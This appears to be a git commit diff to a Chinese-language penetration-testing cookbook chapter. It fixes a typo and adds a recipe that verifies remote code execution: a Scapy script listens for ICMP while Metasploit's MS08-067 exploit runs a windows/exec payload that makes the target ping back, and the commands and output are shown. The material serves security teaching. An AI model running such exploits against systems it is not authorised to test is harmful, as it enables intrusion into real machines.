ch5
This commit is contained in:
parent
6b6875c736
commit
dffcbc1cd5
71
ch5.md
71
ch5.md
|
@ -321,7 +321,7 @@ Nessus是最强大而全面的漏洞扫描器之一。 通过定位一个系统
|
|||
|
||||
2. 步骤2将简单地询问扫描是内部扫描还是外部扫描。 外部扫描将是针对可公共访问的主机执行的,通常位于企业网络的DMZ中。 外部扫描不要求你处于同一网络,但可以在Internet上执行。 或者,从网络内执行内部扫描,并且需要直接访问扫描目标的LAN。
|
||||
|
||||
3. 步骤3,最后一步,使用SSH或Windows身份验证请求扫描设备的身份验证凭据。 完成后,访问`Profiles`选项卡时,可以先前为空的列表中看到新的配置文件。 像这样:
|
||||
3. 步骤3,最后一步,使用SSH或Windows身份验证请求扫描设备的身份验证凭据。 完成后,访问`Profiles`选项卡时,可以在先前为空的列表中看到新的配置文件。 像这样:
|
||||
|
||||
![](img/5-3-2.jpg)
|
||||
|
||||
|
@ -555,3 +555,72 @@ Connection: Keep-Alive
|
|||
### 工作原理
|
||||
|
||||
此脚本的原理是识别来自远程主机的连接尝试。 执行代码会导致远程系统连接回我们的监听服务器,我们可以通过利用特定的漏洞来验证远程代码执行是否存在。 在远程服务器未安装`wget`或`curl`的情况下,可能需要采用另一种手段来识别远程代码执行。
|
||||
|
||||
## 5.7 使用 ICMP 交互来验证漏洞
|
||||
|
||||
作为渗透测试者,任何给定漏洞的最佳结果是实现远程代码执行。 但是,在某些情况下,我们可能只想确定远程代码执行漏洞是否可利用,但不想实际遵循整个利用和后续利用过程。 一种方法是运行一个脚本,记录ICMP流量,然后在远程系统上执行ping命令。 该秘籍演示了如何编写自定义脚本,用于使用ICMP流量验证远程代码执行漏洞。
|
||||
|
||||
### 准备
|
||||
|
||||
要使用ICMP交互验证漏洞,你需要一个运行拥有远程代码执行漏洞的软件的系统。 此外,本节需要使用文本编辑器(如VIM或Nano)将脚本写入文件系统。 有关编写脚本的更多信息,请参阅本书第一章中的“使用文本编辑器(VIM和Nano)”秘籍。
|
||||
|
||||
### 操作步骤
|
||||
|
||||
在实际利用给定漏洞之前,我们必须部署一个脚本,来记录传入的ICMP流量。 这可以通过使用Scapy的简单Python脚本完成,如下所示:
|
||||
|
||||
```py
|
||||
#!/usr/bin/python
|
||||
|
||||
import logging
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
||||
from scapy.all import *
|
||||
|
||||
def rules(pkt):
|
||||
try:
|
||||
if (pkt[IP].dst=="172.16.36.224") and (pkt[ICMP]):
|
||||
print str(pkt[IP].src) + " is exploitable"
|
||||
except:
|
||||
pass
|
||||
|
||||
print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening"
|
||||
|
||||
sniff(lfilter=rules,store=0)
|
||||
```
|
||||
|
||||
这个Python脚本监听所有传入的流量,并将发往扫描系统的任何ICMP流量的源标记为存在漏洞。 为了使用此脚本验证漏洞是否能够利用,我们需要执行代码,使远程系统`ping`我们的扫描系统。 为了演示这一点,我们可以使用 Metasploit 来利用远程代码执行漏洞。 但在这之前,我们需要启动我们的脚本,如下:
|
||||
|
||||
```
|
||||
root@KaliLinux:~# ./listener.py
|
||||
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening
|
||||
```
|
||||
|
||||
接下来,我们需要利用导致远程代码执行的漏洞。 通过检查 Windows XP 框的 Nessus 扫描结果,我们可以看到系统容易受到 MS08-067 漏洞的攻击。 为了验证这一点,我们使用执行`ping`命令的载荷,使其`ping`我们的扫描系统来利用漏洞,如下所示:
|
||||
|
||||
```
|
||||
msf > use exploit/windows/smb/ms08_067_netapi
|
||||
msf exploit(ms08_067_netapi) > set PAYLOAD windows/exec
|
||||
PAYLOAD => windows/exec
|
||||
msf exploit(ms08_067_netapi) > set RHOST 172.16.36.225
|
||||
RHOST => 172.16.36.225
|
||||
msf exploit(ms08_067_netapi) > set CMD cmd /c ping 172.16.36.224 -n 1
|
||||
CMD => cmd /c ping 172.16.36.224 -n 1
|
||||
msf exploit(ms08_067_netapi) > exploit
|
||||
|
||||
[*] Automatically detecting the target...
|
||||
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
|
||||
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
|
||||
[*] Attempting to trigger the vulnerability...
|
||||
```
|
||||
|
||||
Metasploit中的利用配置为使用`windows / exec`载荷,它在被利用系统中执行代码。 此载荷配置为向我们的扫描系统发送单个ICMP回显请求。 执行后,我们可以通过查看仍在监听的原始脚本来确认漏洞利用是否成功,如下所示:
|
||||
|
||||
```
|
||||
root@KaliLinux:~# ./listener.py
|
||||
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening
|
||||
172.16.36.225 is exploitable
|
||||
```
|
||||
|
||||
### 工作原理
|
||||
|
||||
|
||||
此脚本的原理是监听来自远程主机的传入的ICMP流量。 通过执行代码,使远程系统向我们的监听服务器发送回显请求,我们可以通过利用特定的漏洞来验证远程代码执行是否可以利用。
|
||||
|
|
Loading…
Reference in New Issue